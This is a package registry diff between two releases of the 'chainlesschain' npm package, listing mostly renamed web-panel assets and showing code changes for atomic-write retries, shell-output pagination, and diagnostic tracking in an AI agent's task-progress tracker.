chainlesschain 0.166.56 → 0.166.59

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (177) hide show
  1. package/package.json +3 -2
  2. package/src/assets/web-panel/assets/{AIOps-CBFnwYRX.js → AIOps-B9i3kk5f.js} +1 -1
  3. package/src/assets/web-panel/assets/{ActionButton-Sl4eXWpR.js → ActionButton-DGMs1wBm.js} +1 -1
  4. package/src/assets/web-panel/assets/{Analytics-DB0lD9Kb.js → Analytics-D-JGeynM.js} +3 -3
  5. package/src/assets/web-panel/assets/{AppLayout-j77EmkRK.js → AppLayout-DLECnXlP.js} +5 -5
  6. package/src/assets/web-panel/assets/{Artifacts-CU3izCW9.js → Artifacts-CwaTiXN4.js} +1 -1
  7. package/src/assets/web-panel/assets/{Audit-C44fSibb.js → Audit-BCb7s5Ky.js} +1 -1
  8. package/src/assets/web-panel/assets/{BackgroundAgents-pM_NnJW3.js → BackgroundAgents-D4IOzvKs.js} +1 -1
  9. package/src/assets/web-panel/assets/{Backup-AOHXqhxN.js → Backup-Cknunk10.js} +1 -1
  10. package/src/assets/web-panel/assets/{BaseInput-DaYc8oA_.js → BaseInput-DnU8pbUh.js} +1 -1
  11. package/src/assets/web-panel/assets/{Chat-CmlCAXxW.js → Chat-DOouYIhz.js} +5 -5
  12. package/src/assets/web-panel/assets/{ChatBubbleRenderer-CkCSkJDJ.js → ChatBubbleRenderer-C4tdSms8.js} +1 -1
  13. package/src/assets/web-panel/assets/{Checkbox-DISI7iaA.js → Checkbox-BrumNw6V.js} +1 -1
  14. package/src/assets/web-panel/assets/{Codegen-BYpeKUpf.js → Codegen-B4E_uI_N.js} +1 -1
  15. package/src/assets/web-panel/assets/{Col-Dk6VwWGq.js → Col-C7H2sdaL.js} +1 -1
  16. package/src/assets/web-panel/assets/{Community-BDyTedMu.js → Community-BFdzcMSl.js} +1 -1
  17. package/src/assets/web-panel/assets/{Compact-CTNlGM9X.js → Compact-BzVXohrg.js} +1 -1
  18. package/src/assets/web-panel/assets/{Compliance-C_tw3IdT.js → Compliance-B_4QcuSH.js} +1 -1
  19. package/src/assets/web-panel/assets/{Cowork-cduHWEmo.js → Cowork-DjuQzJx8.js} +3 -3
  20. package/src/assets/web-panel/assets/{Cron-Dqotjv-s.js → Cron-Bf2iY-1-.js} +2 -2
  21. package/src/assets/web-panel/assets/{Crosschain-ByW7RsJQ.js → Crosschain-CY9QW7IT.js} +1 -1
  22. package/src/assets/web-panel/assets/{DID-BI-lafPj.js → DID-kDZBvaKr.js} +2 -2
  23. package/src/assets/web-panel/assets/{Dashboard-8m50TRZL.js → Dashboard-DoYboS3g.js} +2 -2
  24. package/src/assets/web-panel/assets/{Dropdown-CN3hmRTc.js → Dropdown-LLEzI6l1.js} +1 -1
  25. package/src/assets/web-panel/assets/{EmailListRenderer-t0lzxsDT.js → EmailListRenderer-D2kmSvkg.js} +1 -1
  26. package/src/assets/web-panel/assets/{EvolutionSettings-DabpA3cQ.js → EvolutionSettings-DHj2yUGZ.js} +1 -1
  27. package/src/assets/web-panel/assets/{FamilyGuardDashboard-BYN4UshY.js → FamilyGuardDashboard-B7Hg7fR0.js} +1 -1
  28. package/src/assets/web-panel/assets/{Federation-n44OtIXp.js → Federation-CUdwU6aH.js} +1 -1
  29. package/src/assets/web-panel/assets/{FormItemContext-B-WXDu_I.js → FormItemContext-D1KrwjwY.js} +1 -1
  30. package/src/assets/web-panel/assets/{GenericCardRenderer-Bm7v-mTf.js → GenericCardRenderer-CXGLoHfw.js} +1 -1
  31. package/src/assets/web-panel/assets/{Git-BMIS6sbo.js → Git-TG3Q9JWG.js} +2 -2
  32. package/src/assets/web-panel/assets/{Governance-B1EhHobE.js → Governance-BJD7h_fv.js} +1 -1
  33. package/src/assets/web-panel/assets/{Inference-Dy_HJWHo.js → Inference-Dky4l_bZ.js} +1 -1
  34. package/src/assets/web-panel/assets/{KnowledgeGraph-BVdfUbZy.js → KnowledgeGraph-CCx9aXBV.js} +1 -1
  35. package/src/assets/web-panel/assets/Logs-BtesccPB.js +2 -0
  36. package/src/assets/web-panel/assets/MarkdownRenderer-DoN7oE2J.js +1 -0
  37. package/src/assets/web-panel/assets/{Marketplace-Bw4HWORj.js → Marketplace-BzL6KJMX.js} +1 -1
  38. package/src/assets/web-panel/assets/{McpTools-Be6DPfA1.js → McpTools-BReSRzEU.js} +3 -3
  39. package/src/assets/web-panel/assets/{Memory-DlvLafC9.js → Memory-BhmkkCxd.js} +2 -2
  40. package/src/assets/web-panel/assets/{MobileBridge-Upc_Jwlt.js → MobileBridge-BeQMHr_n.js} +1 -1
  41. package/src/assets/web-panel/assets/{MobileProjects-I17jrUbY.js → MobileProjects-CphEwj_l.js} +1 -1
  42. package/src/assets/web-panel/assets/{Mtc-DyBzY0GH.js → Mtc-CFk1ibuN.js} +2 -2
  43. package/src/assets/web-panel/assets/{MtcAudit-2-7xAwEo.js → MtcAudit-CU9qrmbH.js} +5 -5
  44. package/src/assets/web-panel/assets/{Multisig-DtUZpFmZ.js → Multisig-CKR-Gh0Y.js} +3 -3
  45. package/src/assets/web-panel/assets/{NLProgramming-iInH7jBr.js → NLProgramming-D1qWY6Mx.js} +1 -1
  46. package/src/assets/web-panel/assets/{Notes-BO3Z3vaS.js → Notes-B4CM0C65.js} +4 -4
  47. package/src/assets/web-panel/assets/{NotificationSettings-ClX_0jFE.js → NotificationSettings-BTQYWveR.js} +1 -1
  48. package/src/assets/web-panel/assets/{OrderTableRenderer-Czw742w4.js → OrderTableRenderer-DxN6fAn8.js} +1 -1
  49. package/src/assets/web-panel/assets/{Organization-BATEx24i.js → Organization-scgboNfd.js} +4 -4
  50. package/src/assets/web-panel/assets/{Overflow-B_PXMNia.js → Overflow-BP4aQhid.js} +1 -1
  51. package/src/assets/web-panel/assets/{P2P-BSiE8PqT.js → P2P-65jIo6MY.js} +2 -2
  52. package/src/assets/web-panel/assets/{PdhVaultBrowser-BbklUgZY.js → PdhVaultBrowser-Bfi4-tDQ.js} +5 -5
  53. package/src/assets/web-panel/assets/{Permissions-B7bpflT_.js → Permissions-DWtxT7bE.js} +3 -3
  54. package/src/assets/web-panel/assets/{PersonalDataHub-BWZS4BLy.js → PersonalDataHub-Bilmr8BR.js} +4 -4
  55. package/src/assets/web-panel/assets/{Pipeline-DP2YSs6H.js → Pipeline-IPIMM-1y.js} +1 -1
  56. package/src/assets/web-panel/assets/{Privacy-DB9ptoH0.js → Privacy-DFB8RiVK.js} +1 -1
  57. package/src/assets/web-panel/assets/{ProjectInit-BAfePyYk.js → ProjectInit-DxZksvu1.js} +2 -2
  58. package/src/assets/web-panel/assets/{ProjectSettings-BEXn4Cm3.js → ProjectSettings-DsjPsnYN.js} +2 -2
  59. package/src/assets/web-panel/assets/{Projects-BzSs0rzn.js → Projects-CC5FBLLq.js} +1 -1
  60. package/src/assets/web-panel/assets/{Providers-CRX9TdRO.js → Providers-Dk3ViPuF.js} +1 -1
  61. package/src/assets/web-panel/assets/{QrScannerModal-DUWcSY5L.js → QrScannerModal-CJ8R6-bF.js} +1 -1
  62. package/src/assets/web-panel/assets/{QuickAsk-Cgo3Z_hs.js → QuickAsk-DJfCPORc.js} +1 -1
  63. package/src/assets/web-panel/assets/{Recommend-Dcinx0IW.js → Recommend-DjDygXeb.js} +1 -1
  64. package/src/assets/web-panel/assets/{RemoteSession-BMZzTnAN.js → RemoteSession-BJiJ1YHw.js} +2 -2
  65. package/src/assets/web-panel/assets/{Reputation-BdZzpOp9.js → Reputation-fYE8jPcc.js} +1 -1
  66. package/src/assets/web-panel/assets/{Row-DqM8GVcx.js → Row-vcvsjMm4.js} +1 -1
  67. package/src/assets/web-panel/assets/{RssFeed-Soj_QBK3.js → RssFeed-CZnKliwn.js} +3 -3
  68. package/src/assets/web-panel/assets/{Search-Cn2es0-v.js → Search-DEStiFGI.js} +1 -1
  69. package/src/assets/web-panel/assets/{Security-t7C4hz3n.js → Security-BPb_szxS.js} +4 -4
  70. package/src/assets/web-panel/assets/{Services-ChF-e_Uf.js → Services-TR0xZhSF.js} +2 -2
  71. package/src/assets/web-panel/assets/{Skeleton-BiPIyK-2.js → Skeleton-BSPu9boC.js} +1 -1
  72. package/src/assets/web-panel/assets/{Skills-HgkKJenJ.js → Skills-CXEj9pC6.js} +1 -1
  73. package/src/assets/web-panel/assets/{Sla-BSfluv_k.js → Sla-jlOlDGMA.js} +1 -1
  74. package/src/assets/web-panel/assets/{SpeechSettings-Sm0Gz9tM.js → SpeechSettings-C8oPE_HQ.js} +1 -1
  75. package/src/assets/web-panel/assets/{SyncSettings-DlhBMnfU.js → SyncSettings-DZNUx8zt.js} +2 -2
  76. package/src/assets/web-panel/assets/{Tasks-C7OUvsnp.js → Tasks-B4T6aoOl.js} +1 -1
  77. package/src/assets/web-panel/assets/{Templates-CrMtw87y.js → Templates-DeRgtwZ5.js} +1 -1
  78. package/src/assets/web-panel/assets/{Tenant-DSNSB6j5.js → Tenant-DDVoXGxa.js} +1 -1
  79. package/src/assets/web-panel/assets/{Terminal-Cmh78FQg.js → Terminal-DGAUoJMz.js} +2 -2
  80. package/src/assets/web-panel/assets/{TimelineRenderer-BE8b8lHR.js → TimelineRenderer-Co4Nkpjm.js} +1 -1
  81. package/src/assets/web-panel/assets/{Tokens-BrtgdIvJ.js → Tokens-DaMLa0Fm.js} +1 -1
  82. package/src/assets/web-panel/assets/{Trigger-HCmaoKDp.js → Trigger-C7iLr-Ik.js} +1 -1
  83. package/src/assets/web-panel/assets/{Trust-GASQ4F-2.js → Trust-CxX_tQqi.js} +1 -1
  84. package/src/assets/web-panel/assets/{UkeySign-B8kSzWGr.js → UkeySign-ClrdckEx.js} +1 -1
  85. package/src/assets/web-panel/assets/{VideoEditing-Nn-clhv5.js → VideoEditing-DgTVhaoK.js} +1 -1
  86. package/src/assets/web-panel/assets/{Wallet-DdYMKTYk.js → Wallet-SIbwES0O.js} +4 -4
  87. package/src/assets/web-panel/assets/{WebAuthn-xJXUr_eK.js → WebAuthn-YNqVnhZF.js} +3 -3
  88. package/src/assets/web-panel/assets/{WorkflowEditor-CbSa87av.js → WorkflowEditor-BvynT9mj.js} +1 -1
  89. package/src/assets/web-panel/assets/{chat-CVrNLGUV.js → chat-X79b2tVy.js} +1 -1
  90. package/src/assets/web-panel/assets/{colors-e2veLfIA.js → colors-DioWDCbu.js} +1 -1
  91. package/src/assets/web-panel/assets/{compact-item-CNd7nhUq.js → compact-item-DpAXXaqu.js} +1 -1
  92. package/src/assets/web-panel/assets/{createContext-DEudTVqv.js → createContext-BYq8bCQX.js} +1 -1
  93. package/src/assets/web-panel/assets/devWarning-ONeWC5dH.js +1 -0
  94. package/src/assets/web-panel/assets/{hasIn-BlSAFZa3.js → hasIn-CDJNMJ_n.js} +1 -1
  95. package/src/assets/web-panel/assets/index--QLnQuO9.js +1 -0
  96. package/src/assets/web-panel/assets/{index-BptI9bLu.js → index-00kVj4me.js} +1 -1
  97. package/src/assets/web-panel/assets/{index-4ZT0vIJt.js → index-B6wxVEIZ.js} +1 -1
  98. package/src/assets/web-panel/assets/{index-CK6Rb66R.js → index-B8ChecWd.js} +1 -1
  99. package/src/assets/web-panel/assets/{index-Bp4Gcn9u.js → index-B8_grEFP.js} +1 -1
  100. package/src/assets/web-panel/assets/{index-DVORJydf.js → index-BBvA7Hxj.js} +1 -1
  101. package/src/assets/web-panel/assets/{index-Bqeb4jnC.js → index-BGEXGr9g.js} +1 -1
  102. package/src/assets/web-panel/assets/{index-CWuv47z0.js → index-BIO8EVHt.js} +1 -1
  103. package/src/assets/web-panel/assets/{index-DtrqgNBl.js → index-BK53HyEP.js} +1 -1
  104. package/src/assets/web-panel/assets/{index-ClROBPWd.js → index-Bh9la-GL.js} +1 -1
  105. package/src/assets/web-panel/assets/{index-Bwtt-0CQ.js → index-Bt0zcD5R.js} +1 -1
  106. package/src/assets/web-panel/assets/{index-DyFZ7gDd.js → index-BwHEGjR7.js} +1 -1
  107. package/src/assets/web-panel/assets/{index-D_D7lcnQ.js → index-Byt1ny7l.js} +1 -1
  108. package/src/assets/web-panel/assets/{index-BMIhGZUR.js → index-C1-NqghD.js} +1 -1
  109. package/src/assets/web-panel/assets/{index-BRNCKg4q.js → index-C4xggKQp.js} +1 -1
  110. package/src/assets/web-panel/assets/{index-CgVwz2jD.js → index-C7cXBJcM.js} +1 -1
  111. package/src/assets/web-panel/assets/{index-7-7rr4Mf.js → index-CJEFd0QJ.js} +1 -1
  112. package/src/assets/web-panel/assets/{index-BpH6T1gA.js → index-CLSt7mOy.js} +1 -1
  113. package/src/assets/web-panel/assets/{index-BmVFeSEq.js → index-COqkDiRU.js} +1 -1
  114. package/src/assets/web-panel/assets/{index-CHMrAZiR.js → index-CS3QdYDW.js} +1 -1
  115. package/src/assets/web-panel/assets/{index-CU4Y4VVN.js → index-CUbuCFWb.js} +1 -1
  116. package/src/assets/web-panel/assets/{index-Lm9pm1zm.js → index-CbxqdIzD.js} +1 -1
  117. package/src/assets/web-panel/assets/index-CkgeII0e.js +1 -0
  118. package/src/assets/web-panel/assets/{index-DFv-nsIT.js → index-Cx0_WiSe.js} +1 -1
  119. package/src/assets/web-panel/assets/{index-DJ5gsewX.js → index-D3J9FKFr.js} +1 -1
  120. package/src/assets/web-panel/assets/{index-DwjWRUTf.js → index-D88MWTOx.js} +1 -1
  121. package/src/assets/web-panel/assets/{index-B_UNX_xq.js → index-DAnXSg0r.js} +1 -1
  122. package/src/assets/web-panel/assets/{index-DFzvcZ3Q.js → index-DP9ZLjra.js} +1 -1
  123. package/src/assets/web-panel/assets/{index-Ec6VBiV-.js → index-DSFkmRvK.js} +1 -1
  124. package/src/assets/web-panel/assets/{index-B1C1wS5c.js → index-DUe-hFGb.js} +1 -1
  125. package/src/assets/web-panel/assets/{index-CYNoXhxl.js → index-DZysaS5T.js} +1 -1
  126. package/src/assets/web-panel/assets/{index-C6zGNZ5H.js → index-DmNspbVU.js} +1 -1
  127. package/src/assets/web-panel/assets/{index-C4h_Bvd2.js → index-DwG9khVs.js} +1 -1
  128. package/src/assets/web-panel/assets/{index-hzUfIn4u.js → index-Q3WQ5Zhr.js} +1 -1
  129. package/src/assets/web-panel/assets/{index-Jk99aZIr.js → index-TqLyy6IR.js} +3 -3
  130. package/src/assets/web-panel/assets/{index-MuTb62K6.js → index-V6l3ia83.js} +1 -1
  131. package/src/assets/web-panel/assets/{index-D7yJceTZ.js → index-Wl55a61D.js} +1 -1
  132. package/src/assets/web-panel/assets/{index-0y7tHZdT.js → index-YviHYMA2.js} +1 -1
  133. package/src/assets/web-panel/assets/{index-BG-VNepa.js → index-mHAPEcPi.js} +1 -1
  134. package/src/assets/web-panel/assets/{initDefaultProps-C6fpNcA5.js → initDefaultProps-18rmGkik.js} +1 -1
  135. package/src/assets/web-panel/assets/{motion-Bjh9Come.js → motion-3kvGzSgV.js} +1 -1
  136. package/src/assets/web-panel/assets/{move-DFa4ul-_.js → move-Dx3DiVHc.js} +1 -1
  137. package/src/assets/web-panel/assets/{mtc-parser-KoYqA_e5.js → mtc-parser-VX1dFJEI.js} +1 -1
  138. package/src/assets/web-panel/assets/{omit-ByTjP-wG.js → omit-CniSeCOA.js} +1 -1
  139. package/src/assets/web-panel/assets/{pickAttrs-CG_rmTxx.js → pickAttrs-RPggmcOd.js} +1 -1
  140. package/src/assets/web-panel/assets/{placementArrow-LDePZ8V9.js → placementArrow-B45YBykr.js} +1 -1
  141. package/src/assets/web-panel/assets/{responsiveObserve-DZFzH4RR.js → responsiveObserve-D0nciAEn.js} +1 -1
  142. package/src/assets/web-panel/assets/{slide-DfXQyTvD.js → slide-UxLNWqjI.js} +1 -1
  143. package/src/assets/web-panel/assets/{statusUtils-CuhqsJfO.js → statusUtils-CukpV_uI.js} +1 -1
  144. package/src/assets/web-panel/assets/{styleChecker-qqVjJw5u.js → styleChecker-BIcEZk6Y.js} +1 -1
  145. package/src/assets/web-panel/assets/{useFlexGapSupport-BPxnCxcb.js → useFlexGapSupport-Zah-xvV3.js} +1 -1
  146. package/src/assets/web-panel/assets/{useFs-D11NLCjV.js → useFs-BA7ihKFN.js} +1 -1
  147. package/src/assets/web-panel/assets/{usePersonalDataHub-HbZVcaCX.js → usePersonalDataHub-C64CsyY3.js} +1 -1
  148. package/src/assets/web-panel/assets/{vnode-CZHQlfTu.js → vnode-Datcekgj.js} +1 -1
  149. package/src/assets/web-panel/assets/{zoom-CV3rUknJ.js → zoom-CaFQv1KF.js} +1 -1
  150. package/src/assets/web-panel/index.html +1 -1
  151. package/src/commands/agent.js +5 -0
  152. package/src/commands/config.js +19 -10
  153. package/src/commands/eval.js +39 -4
  154. package/src/data/changelog.json +52 -0
  155. package/src/generated/cc-agent-protocol.schema.json +65 -1
  156. package/src/lib/context-memory-kernel/jsonl-session-context-port.js +33 -0
  157. package/src/lib/context-memory-kernel/task-worklog-port.js +388 -0
  158. package/src/lib/diagnostic-excerpt.js +51 -0
  159. package/src/lib/diagnostic-workflow.js +10 -0
  160. package/src/lib/eval/evidence.js +19 -10
  161. package/src/lib/eval/outcomes.js +373 -0
  162. package/src/lib/eval/runner.js +6 -0
  163. package/src/lib/git-tool-input.js +37 -0
  164. package/src/lib/llm-config-defaults.js +32 -9
  165. package/src/lib/public-ide-capability-manifest.js +1 -0
  166. package/src/lib/read-file-loop-guard.js +54 -0
  167. package/src/lib/remote-read-loop-guard.js +12 -14
  168. package/src/lib/session-message-fabric.js +74 -37
  169. package/src/lib/shell-output.js +30 -0
  170. package/src/lib/task-progress-tracker.js +88 -0
  171. package/src/runtime/agent-core.js +97 -22
  172. package/src/runtime/headless-stream.js +143 -1
  173. package/src/assets/web-panel/assets/Logs-Dph_oLQk.js +0 -2
  174. package/src/assets/web-panel/assets/MarkdownRenderer-CNHYqcxm.js +0 -1
  175. package/src/assets/web-panel/assets/devWarning-DW7he-SA.js +0 -1
  176. package/src/assets/web-panel/assets/index-IkoHuWRe.js +0 -1
  177. package/src/assets/web-panel/assets/index-MwqsDbb1.js +0 -1
@@ -31,6 +31,31 @@ export const SESSION_MESSAGE_POLICIES = Object.freeze([
31
31
  "refuse",
32
32
  ]);
33
33
 
34
+ // Windows can briefly retain a handle on a just-written state file while an
35
+ // antivirus scanner, indexer, or another process observes it. Retrying the
36
+ // atomic write is safe while this process still owns the state lock: no
37
+ // business mutation is re-run, and no error after the final rename is retried.
38
+ // Keep this deliberately short so genuine filesystem failures remain
39
+ // fail-closed.
40
+ const TRANSIENT_ATOMIC_WRITE_ERROR_CODES = new Set([
41
+ "EACCES",
42
+ "EBUSY",
43
+ "EPERM",
44
+ ]);
45
+ const MAX_ATOMIC_WRITE_ATTEMPTS = 5;
46
+
47
+ function waitForAtomicWriteRetry(attempt) {
48
+ const delayMs = Math.min(100, 5 * 2 ** attempt);
49
+ try {
50
+ Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, delayMs);
51
+ } catch {
52
+ const deadline = Date.now() + delayMs;
53
+ while (Date.now() < deadline) {
54
+ // SharedArrayBuffer is unavailable only in constrained runtimes.
55
+ }
56
+ }
57
+ }
58
+
34
59
  export const SESSION_MESSAGE_RECEIPT_STATUSES = Object.freeze([
35
60
  "delivered",
36
61
  "held",
@@ -756,50 +781,62 @@ export class SessionMessageFabric {
756
781
 
757
782
  _writeState(state) {
758
783
  const directory = path.dirname(this.statePath);
759
- const temporary = path.join(
760
- directory,
761
- `.${path.basename(this.statePath)}.${process.pid}.${this._createId()}.tmp`,
762
- );
763
- let descriptor = null;
764
- try {
765
- descriptor = fs.openSync(temporary, "wx", 0o600);
766
- fs.writeFileSync(
767
- descriptor,
768
- `${JSON.stringify(state, null, 2)}\n`,
769
- "utf8",
784
+ const serialized = `${JSON.stringify(state, null, 2)}\n`;
785
+ let lastCause;
786
+ for (let attempt = 0; attempt < MAX_ATOMIC_WRITE_ATTEMPTS; attempt += 1) {
787
+ const temporary = path.join(
788
+ directory,
789
+ `.${path.basename(this.statePath)}.${process.pid}.${this._createId()}.tmp`,
770
790
  );
771
- fs.fsyncSync(descriptor);
772
- fs.closeSync(descriptor);
773
- descriptor = null;
774
- fs.renameSync(temporary, this.statePath);
775
- if (process.platform !== "win32") {
776
- const directoryDescriptor = fs.openSync(directory, "r");
777
- try {
778
- fs.fsyncSync(directoryDescriptor);
779
- } finally {
780
- fs.closeSync(directoryDescriptor);
791
+ let descriptor = null;
792
+ let renamed = false;
793
+ try {
794
+ descriptor = fs.openSync(temporary, "wx", 0o600);
795
+ fs.writeFileSync(descriptor, serialized, "utf8");
796
+ fs.fsyncSync(descriptor);
797
+ fs.closeSync(descriptor);
798
+ descriptor = null;
799
+ fs.renameSync(temporary, this.statePath);
800
+ renamed = true;
801
+ if (process.platform !== "win32") {
802
+ const directoryDescriptor = fs.openSync(directory, "r");
803
+ try {
804
+ fs.fsyncSync(directoryDescriptor);
805
+ } finally {
806
+ fs.closeSync(directoryDescriptor);
807
+ }
808
+ }
809
+ return;
810
+ } catch (cause) {
811
+ lastCause = cause;
812
+ if (descriptor != null) {
813
+ try {
814
+ fs.closeSync(descriptor);
815
+ } catch {
816
+ // Preserve the original write failure.
817
+ }
781
818
  }
782
- }
783
- } catch (cause) {
784
- if (descriptor != null) {
785
819
  try {
786
- fs.closeSync(descriptor);
820
+ fs.unlinkSync(temporary);
787
821
  } catch {
788
- // Preserve the original write failure.
822
+ // The rename may already have committed, or no temporary was created.
789
823
  }
824
+ if (
825
+ renamed ||
826
+ !TRANSIENT_ATOMIC_WRITE_ERROR_CODES.has(cause?.code) ||
827
+ attempt + 1 >= MAX_ATOMIC_WRITE_ATTEMPTS
828
+ ) {
829
+ break;
830
+ }
831
+ waitForAtomicWriteRetry(attempt);
790
832
  }
791
- try {
792
- fs.unlinkSync(temporary);
793
- } catch {
794
- // The rename may already have committed, or no temporary was created.
795
- }
796
- throw fabricError(
797
- SESSION_MESSAGE_FABRIC_ERROR_CODES.STATE_UNAVAILABLE,
798
- "Could not atomically persist session message state",
799
- {},
800
- cause,
801
- );
802
833
  }
834
+ throw fabricError(
835
+ SESSION_MESSAGE_FABRIC_ERROR_CODES.STATE_UNAVAILABLE,
836
+ "Could not atomically persist session message state",
837
+ {},
838
+ lastCause,
839
+ );
803
840
  }
804
841
 
805
842
  _transaction(mutator, { expectedRevision = null } = {}) {
@@ -0,0 +1,30 @@
1
+ import { diagnosticExcerpt } from "./diagnostic-excerpt.js";
2
+
3
+ /** Page size includes JSON escaping so later serialization does not lose data. */
4
+ export function shellOutputPage(value, budget) {
5
+ const text = String(value ?? "");
6
+ let low = 0;
7
+ let high = Math.min(text.length, budget);
8
+ while (low < high) {
9
+ const mid = Math.ceil((low + high) / 2);
10
+ if (JSON.stringify(text.slice(0, mid)).length <= budget) low = mid;
11
+ else high = mid - 1;
12
+ }
13
+ if (low > 0 && /[\uD800-\uDBFF]/.test(text[low - 1])) low--;
14
+ return { text: text.slice(0, low), remaining: text.length - low };
15
+ }
16
+
17
+ /** Foreground commands cannot be repolled; expose omitted diagnostic context. */
18
+ export function shellOutputPreview(value, field, budget) {
19
+ const text = String(value ?? "");
20
+ const page = shellOutputPage(text, budget);
21
+ if (!page.remaining) return { [field]: page.text };
22
+ return {
23
+ [`${field}_truncated`]: true,
24
+ [`${field}_total_chars`]: text.length,
25
+ [`${field}_diagnostics`]: diagnosticExcerpt(text),
26
+ [field]: page.text,
27
+ output_hint:
28
+ "Output is incomplete. Diagnostic excerpts are source evidence, not a root-cause verdict. For long reproductions use run_in_background and drain check_shell with task_id; preserve a full CI log once before filtering it.",
29
+ };
30
+ }
@@ -1,5 +1,7 @@
1
1
  import { createHash } from "node:crypto";
2
2
  import { remoteReadTarget } from "./remote-read-loop-guard.js";
3
+ import { diagnosticExcerpt } from "./diagnostic-excerpt.js";
4
+ import { DIAGNOSTIC_WORKFLOW_GUIDANCE } from "./diagnostic-workflow.js";
3
5
 
4
6
  // Discovery and bookkeeping are useful, but are not evidence that the task
5
7
  // advanced. In particular, dispatching a child must not buy a fresh budget.
@@ -82,6 +84,7 @@ export class TaskProgressTracker {
82
84
  this.lastActions = [];
83
85
  this.remoteInspections = [];
84
86
  this.localFindings = [];
87
+ this.diagnostics = [];
85
88
  }
86
89
 
87
90
  retainChildResult(id, result, owner = "root") {
@@ -121,6 +124,82 @@ export class TaskProgressTracker {
121
124
  typeof args.old_string === "string" &&
122
125
  args.old_string === args.new_string);
123
126
 
127
+ // Preserve observed reproduction results through compaction, including
128
+ // failed runs and completed background tasks. They do not establish that
129
+ // the original CI failure was reproduced or fixed.
130
+ if (
131
+ ["run_shell", "run_code", "check_shell"].includes(tool) &&
132
+ result?.code !== "CC_TOOL_RECOVERY_PAUSED" &&
133
+ !(tool === "check_shell" && !args.task_id)
134
+ ) {
135
+ const taskId = result?.task_id || args.task_id || null;
136
+ const previous =
137
+ taskId &&
138
+ this.diagnostics.find(
139
+ (entry) => entry.owner === owner && entry.taskId === taskId,
140
+ );
141
+ const output = [
142
+ result?.stdout_diagnostics,
143
+ result?.stderr_diagnostics,
144
+ result?.error,
145
+ result?.output,
146
+ result?.stdout,
147
+ result?.stderr,
148
+ ]
149
+ .filter(Boolean)
150
+ .join("\n");
151
+ if (output || taskId || Number.isInteger(result?.exitCode)) {
152
+ const command = args.command || result?.command || args.code || "";
153
+ const remoteTarget = remoteReadTarget(tool, args);
154
+ const entry = {
155
+ owner,
156
+ tool,
157
+ taskId,
158
+ observedAt: this.now(),
159
+ remoteTarget: remoteTarget?.key || previous?.remoteTarget || null,
160
+ source:
161
+ previous?.source ||
162
+ (remoteTarget?.github || isRemoteInspectionCommand(command)
163
+ ? "remote-inspection"
164
+ : "local-execution"),
165
+ invocation: boundedText(command || previous?.invocation, 1000),
166
+ invocationTruncated: command
167
+ ? command.length > 1000
168
+ : previous?.invocationTruncated || false,
169
+ exitCode: result?.exitCode ?? result?.exit_code ?? null,
170
+ status:
171
+ result?.status ||
172
+ (result?.background ? "running" : failed ? "failed" : "completed"),
173
+ outputLost:
174
+ previous?.outputLost === true ||
175
+ !!result?.stdout_dropped_bytes ||
176
+ !!result?.stderr_dropped_bytes,
177
+ outputIncomplete:
178
+ previous?.outputLost === true ||
179
+ result?.has_more_output === true ||
180
+ result?.stdout_truncated === true ||
181
+ result?.stderr_truncated === true ||
182
+ result?.truncated === true ||
183
+ !!result?.stdout_dropped_bytes ||
184
+ !!result?.stderr_dropped_bytes,
185
+ output: diagnosticExcerpt(
186
+ [previous?.output, output].filter(Boolean).join("\n"),
187
+ 1200,
188
+ ),
189
+ };
190
+ const owned = [
191
+ ...this.diagnostics.filter(
192
+ (item) => item.owner === owner && item !== previous,
193
+ ),
194
+ entry,
195
+ ].slice(-4);
196
+ this.diagnostics = [
197
+ ...this.diagnostics.filter((item) => item.owner !== owner),
198
+ ...owned,
199
+ ].slice(-MAX_CHECKPOINT_OWNERS * 4);
200
+ }
201
+ }
202
+
124
203
  if (!failed && (tool === "search_files" || tool === "read_file")) {
125
204
  const evidence = result.content ?? result.matches ?? result.output;
126
205
  const excerpt = boundedText(
@@ -252,6 +331,8 @@ export class TaskProgressTracker {
252
331
  message +
253
332
  " For an implementation task, make the smallest justified, authorized change and validate it. " +
254
333
  "For a bug fix, state the observed failure, your leading root-cause hypothesis and the smallest test that can disprove it. Run that focused reproduction or diagnostic next; use its actual output to choose the next step. Do not keep reading adjacent files without naming the specific missing fact. A timeout alone does not establish that increasing the timeout is the fix. " +
334
+ DIAGNOSTIC_WORKFLOW_GUIDANCE +
335
+ " " +
255
336
  "For research/review, synthesize evidence-backed findings; do not write files merely to clear this warning. " +
256
337
  "If evidence is insufficient, name the exact missing fact and use a focused search or bounded computation. " +
257
338
  "Do not restart general investigation, rewrite the plan, or delegate the same research. " +
@@ -268,11 +349,15 @@ export class TaskProgressTracker {
268
349
  !this.childFindings.size &&
269
350
  !this.lastActions.length &&
270
351
  !this.remoteInspections.length &&
352
+ !this.diagnostics.length &&
271
353
  !this.localFindings.length
272
354
  )
273
355
  return null;
274
356
  const checkpoint = {
275
357
  bounded: true,
358
+ recentDiagnostics: this.diagnostics
359
+ .filter((entry) => entry.owner === owner)
360
+ .map(({ owner: _owner, ...entry }) => entry),
276
361
  recentLocalFindings: this.localFindings
277
362
  .filter((entry) => entry.owner === owner)
278
363
  .map(({ owner: _owner, ...entry }) => entry),
@@ -300,6 +385,7 @@ export class TaskProgressTracker {
300
385
  !checkpoint.recentLocalFindings.length &&
301
386
  !checkpoint.recentToolOutcomes.length &&
302
387
  !checkpoint.recentRemoteInspections.length &&
388
+ !checkpoint.recentDiagnostics.length &&
303
389
  !checkpoint.reportedPlans.length &&
304
390
  !checkpoint.childFindings.length
305
391
  )
@@ -312,6 +398,8 @@ export class TaskProgressTracker {
312
398
  checkpoint.recentLocalFindings.shift();
313
399
  else if (checkpoint.recentRemoteInspections.length)
314
400
  checkpoint.recentRemoteInspections.shift();
401
+ else if (checkpoint.recentDiagnostics.length)
402
+ checkpoint.recentDiagnostics.shift();
315
403
  else if (checkpoint.recentToolOutcomes.length)
316
404
  checkpoint.recentToolOutcomes.shift();
317
405
  else checkpoint.reportedPlans.pop();
@@ -21,6 +21,9 @@ import {
21
21
  buildReadFileOutline,
22
22
  } from "../lib/read-file-page.js";
23
23
  import { ReadFileLoopGuard } from "../lib/read-file-loop-guard.js";
24
+ import { gitToolInputError } from "../lib/git-tool-input.js";
25
+ import { shellOutputPage, shellOutputPreview } from "../lib/shell-output.js";
26
+ import { DIAGNOSTIC_WORKFLOW_GUIDANCE } from "../lib/diagnostic-workflow.js";
24
27
